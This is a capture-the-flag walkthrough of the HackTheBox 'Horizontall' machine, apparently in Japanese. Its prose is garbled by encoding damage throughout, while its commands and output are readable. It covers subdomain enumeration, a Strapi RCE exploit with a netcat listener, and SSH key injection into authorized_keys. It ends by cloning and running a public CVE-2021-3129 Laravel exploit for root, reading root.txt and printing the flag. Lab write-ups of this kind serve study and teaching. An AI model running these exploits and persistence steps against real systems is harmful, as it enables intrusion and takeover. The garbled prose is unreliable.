åµå¯ï¼ã¹ãã£ã³
nmapã§ã¹ãã£ã³ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ nmap -T4 -P0 -sC -sV -A -p- 10.10.11.105 Starting Nmap 7.92 ( https://nmap.org ) Nmap scan report for 10.10.11.105 Host is up (0.18s latency). Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) | 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA) |_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: Did not follow redirect to http://horizontall.htb |_http-server-header: nginx/1.14.0 (Ubuntu) 61217/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP/22ã¨80ãéãã¦ããããã§ããWebã§ã¢ã¯ã»ã¹ããã¨ä»¥ä¸ã®ãããªãã¼ã¸ã表示ããã¾ããã
â»IPã¢ãã¬ã¹ãæå®ããã¢ã¯ã»ã¹ã¯ã§ããªãããã/etc/hostsãç·¨éãã¦URLã§ã¢ã¯ã»ã¹ãã¾ããã
ãã¼ã¸ã®ä¸é¨ã«åãåããã®ãã©ã¼ã ãããã¾ãããåä½ãã¦ããªãããã§ããã
ãã®ä»ãhttp://horizontall.htbãã«å¯¾ãã¦dirbãniktoçå®æ½ãã¾ãããæçãªæ å ±ã¯å¾ããã¾ããã§ããã
Â
次ã«ããµããã¡ã¤ã³ã®èª¿æ»ãè¡ãã¾ããã
âââ(kaliã¿kali)-[~] ââ$ gobuster vhost -u http://horizontall.htb -w /home/kali/subdomains-top1million-110000.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://horizontall.htb [+] Method: GET [+] Threads: 150 [+] Wordlist: /home/kali/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== Found: api-prod.horizontall.htb (Status: 200) [Size: 413] ===============================================================ã
ã¯ã¼ããªã¹ãã«ã¯ä»¥ä¸ã®ãã®ã使ç¨ãã¾ããã
ä¸è¨ã®çµæããããhttp://api-prod.horizontall.htbãã¨ãããµã¤ããåå¨ãããã¨ã確èªã§ãã¾ããããã©ã¦ã¶ã§ã¢ã¯ã»ã¹ããã¨ä»¥ä¸ã®ãããªãã¼ã¸ã表示ããã¾ãã
åç´ã«ã¢ã¯ã»ã¹ããã ãã§ã¯æçãªæ å ±ãå¾ãããªãã£ããããä¸è¨URLã«å¯¾ãã¦ããã«gobusterãå®è¡ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ gobuster dir -u http://api-prod.horizontall.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://api-prod.horizontall.htb [+] Method: GET [+] Threads: 150 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== /users (Status: 403) [Size: 60] /reviews (Status: 200) [Size: 507] /admin (Status: 200) [Size: 854] /Reviews (Status: 200) [Size: 507] /Users (Status: 403) [Size: 60] /Admin (Status: 200) [Size: 854] /REVIEWS (Status: 200) [Size: 507] /%C0 (Status: 400) [Size: 69] /%D8 (Status: 400) [Size: 69] /%CF (Status: 400) [Size: 69] /%CE (Status: 400) [Size: 69] /%CD (Status: 400) [Size: 69] /%CC (Status: 400) [Size: 69] /%CB (Status: 400) [Size: 69] /%CA (Status: 400) [Size: 69] /%D0 (Status: 400) [Size: 69] /%D1 (Status: 400) [Size: 69] /%D7 (Status: 400) [Size: 69] /%D6 (Status: 400) [Size: 69] /%D5 (Status: 400) [Size: 69] /%D4 (Status: 400) [Size: 69] /%D3 (Status: 400) [Size: 69] /%D2 (Status: 400) [Size: 69] /%C9 (Status: 400) [Size: 69] /%C8 (Status: 400) [Size: 69] /%C1 (Status: 400) [Size: 69] /%C2 (Status: 400) [Size: 69] /%C7 (Status: 400) [Size: 69] /%C6 (Status: 400) [Size: 69] /%C5 (Status: 400) [Size: 69] /%C4 (Status: 400) [Size: 69] /%C3 (Status: 400) [Size: 69] /%D9 (Status: 400) [Size: 69] /%DF (Status: 400) [Size: 69] /%DE (Status: 400) [Size: 69] /%DD (Status: 400) [Size: 69] /%DB (Status: 400) [Size: 69] ===============================================================ã
ä¸è¨ããããã¤ãã®æ å ±ãå¾ããã¾ããã/adminã«ã¢ã¯ã»ã¹ããã¨ä»¥ä¸ã®ãããªãã¼ã¸ã表示ããã¾ããã
ãã®ãã¼ã¸ã®ã½ã¼ã¹ãããèªã¿è¾¼ãã§ããJavascriptãè¦ãã¨strapiï¼Strapiã¨ã¯Node.jsç°å¢ã«ããã¦åä½ãããªã¼ãã³ã½ã¼ã¹ãããã¬ã¹CMSï¼ã®ãã¼ã¸ã§ã³ã[email protected]ã§ãããã¨ããããã¾ããã
Â
ä½è«ï¼gobusterã®dnsã¨vhostã®éã
ä»ågobusterã§ãµããã¡ã¤ã³ã®èª¿æ»ãè¡ãã¾ããã
gobusterã«ã¯ããã¤ãåä½ã¢ã¼ããããã¾ãããDNSã¢ã¼ãã¯ç¹å®ã®ãã¡ã¤ã³ã®ãµããã¡ã¤ã³ãæ¤ç´¢ãã¾ãã-rã®ãªãã·ã§ã³ã«ããããã«DNSãµã¼ããæå®ãã¦å®è¡ããã¢ã¼ãã§ãã
ããã«å¯¾ãã¦VHOSTã¢ã¼ãã¯æå®ããURLã«ã¢ã¯ã»ã¹ãã¦ãµããã¡ã¤ã³ãåå¨ãããã©ããã確èªãã¾ãããã®ãããä»åã¯vhostã¢ã¼ãã§å®è¡ãã¾ããã
Â
ã¢ã¯ã»ã¹åå¾
ä¸è¨ã§å¾ãããæ å ±ããã¨ã«ã¢ã¯ã»ã¹ã試ã¿ã¾ãã
ãã¼ã¸ã§ã³æ å ±ã§æ¤ç´¢ããã¨RCEã®exploitæ å ±ãè¦ã¤ããã¾ããã
ä¸è¨å®è¡ããã¨ã¢ã¯ã»ã¹åå¾ã¯ã§ããããã§ãããèªç±ã«ã³ãã³ããæã¦ã¾ããã§ãããCVEçªå·ã§æ¤ç´¢ãããã¨ä»ã®exploitãè¦ã¤ããã¾ããã
ä¸è¨ã¯å®è¡æã«JSOC Web Tokenï¼JWTï¼ãå¼æ°ã«æå®ãã¾ããncã§å¾ ã¡åããç¶æ ã§ãJWTã¯åã®exploitå®è¡æã«è¡¨ç¤ºããã¦ãããã®ãæå®ãã¦å®è¡ãã¾ãã
å¾ ã¡åãå´ã§ã¤ã³ã¿ã©ã¯ãã£ãã·ã§ã«ãåå¾ãããã¨ãã§ãã¾ããã
Â
権éææ ¼
åå¾ããã·ã§ã«ã§linpeasãå®è¡ãã¾ããã
âââââââââââ⣠Active Ports â https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1872/node /usr/bin/ tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN -
Active Portãè¦ãã¨3306ï¼MySqlï¼ã1337ï¼APIã®å¼ã³åºãç¨ï¼ä»¥å¤ã«8000çªãéãã¦ãã¾ãããåå¾ãã¦ããã·ã§ã«ããcurlã§ã¢ã¯ã»ã¹ããã¨ãLaravel v8ãåãã¦ãããã¨ããããã¾ããã
LaravelV8ã«ã¤ãã¦èª¿ã¹ãã¨èå¼±æ§ï¼CVE-2021-3129ï¼ã®æ å ±ãè¦ã¤ããã¾ããã ã¾ããèå¼±æ§ã«é¢é£ããexploitãè¦ã¤ããã¾ããããããã¯kaliã§å®è¡ããå¿ è¦ãããããã§ãã BOXèªèº«ããããã¢ã¯ã»ã¹ã§ããªãTCP/8000ã«å¯¾ãã¦exploitãå®è¡ããããã«SSHãã¼ããã©ã¯ã¼ãã£ã³ã°ãè¡ãã¾ãã æåã«ãssh-keygenã§SSHãã¼ãã¢ãä½æãã¾ããããã¦ä¸ç·ã«ä½æããã.pubãBOXä¸ã«ç»é²ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ cat id-rsa.pub ssh-rsa AAAAï½SzaVkBUaV6E= kali@kali ä¸è¨ãã³ãã¼ãã¦BOXä¸ã§ä»¥ä¸ãå®è¡ãã¾ãã strapi@horizontall:~/.ssh$ echo "ssh-rsa AAAAï½SzaVkBUaV6E= kali@kali" >> authorized_keys
ãã®å¾ãKaliã§BOXã«å¯¾ãã¦SSHã¢ã¯ã»ã¹ãè¡ãã¾ãã
âââ(kaliã¿kali)-[~] ââ$ ssh -i id-rsa -L 8000:localhost:8000 [email protected] The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established. ED25519 key fingerprint is SHA256:Xe1jfjgC2NgH1uDUUr14erdojTBy+zenI7KtOwu8+ZY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.105' (ED25519) to the list of known hosts. Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Sep 22 04:28:40 UTC 2022 System load: 0.0 Processes: 180 Usage of /: 82.2% of 4.85GB Users logged in: 0 Memory usage: 43% IP address for eth0: 10.10.11.105 Swap usage: 0% 0 updates can be applied immediately. $
ããã¾ã§ã§ãkaliã®8000çªãã¼ãã¨BOXä¸ã®8000ãã¼ããæ¥ç¶ã§ãã¾ããã
Kaliä¸ã§ãã©ã¦ã¶ãã8000ã«ã¢ã¯ã»ã¹ããã¨Laravelã®ç»é¢ã表示ããã¾ãã
ãã®ç¶æ ã§Laravelã®exploitãå®è¡ãã¦ã¿ã¾ãã
git clone https://github.com/nth347/CVE-2021-3129_exploit.git âââ(kaliã¿kali)-[~] ââ$ cd CVE-2021-3129_exploit âââ(kaliã¿kali)-[~/CVE-2021-3129_exploit] ââ$ chmod +x exploit.py âââ(kaliã¿kali)-[~/CVE-2021-3129_exploit] ââ$ python3 exploit.py http://localhost:8000 Monolog/RCE1 id [i] Trying to clear logs [+] Logs cleared [i] PHPGGC not found. Cloning it Cloning into 'phpggc'... remote: Enumerating objects: 2962, done. remote: Counting objects: 100% (508/508), done. remote: Compressing objects: 100% (210/210), done. remote: Total 2962 (delta 362), reused 308 (delta 283), pack-reused 2454 Receiving objects: 100% (2962/2962), 430.81 KiB | 7.69 MiB/s, done. Resolving deltas: 100% (1234/1234), done. [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited uid=0(root) gid=0(root) groups=0(root) [i] Trying to clear logs [+] Logs cleared
â»rootãåå¾ã§ãã¦ãã
âââ(kaliã¿kali)-[~/CVE-2021-3129_exploit] ââ$ python3 exploit.py http://localhost:8000 Monolog/RCE1 "cat /root/root.txt" 1 ⨯ [i] Trying to clear logs [+] Logs cleared [+] PHPGGC found. Generating payload and deploy it to the target [+] Successfully converted logs to PHAR [+] PHAR deserialized. Exploited 615b3e97c73f7fa2a5fb0e10af859ee9 [i] Trying to clear logs [+] Logs cleared
ãã©ã°ãåå¾ã§ãã¾ããã
Â
åèã«ããã¦ããã ãããµã¤ã
è²´éãªæ å ±ããããã¨ããããã¾ãã
Â
Â
Â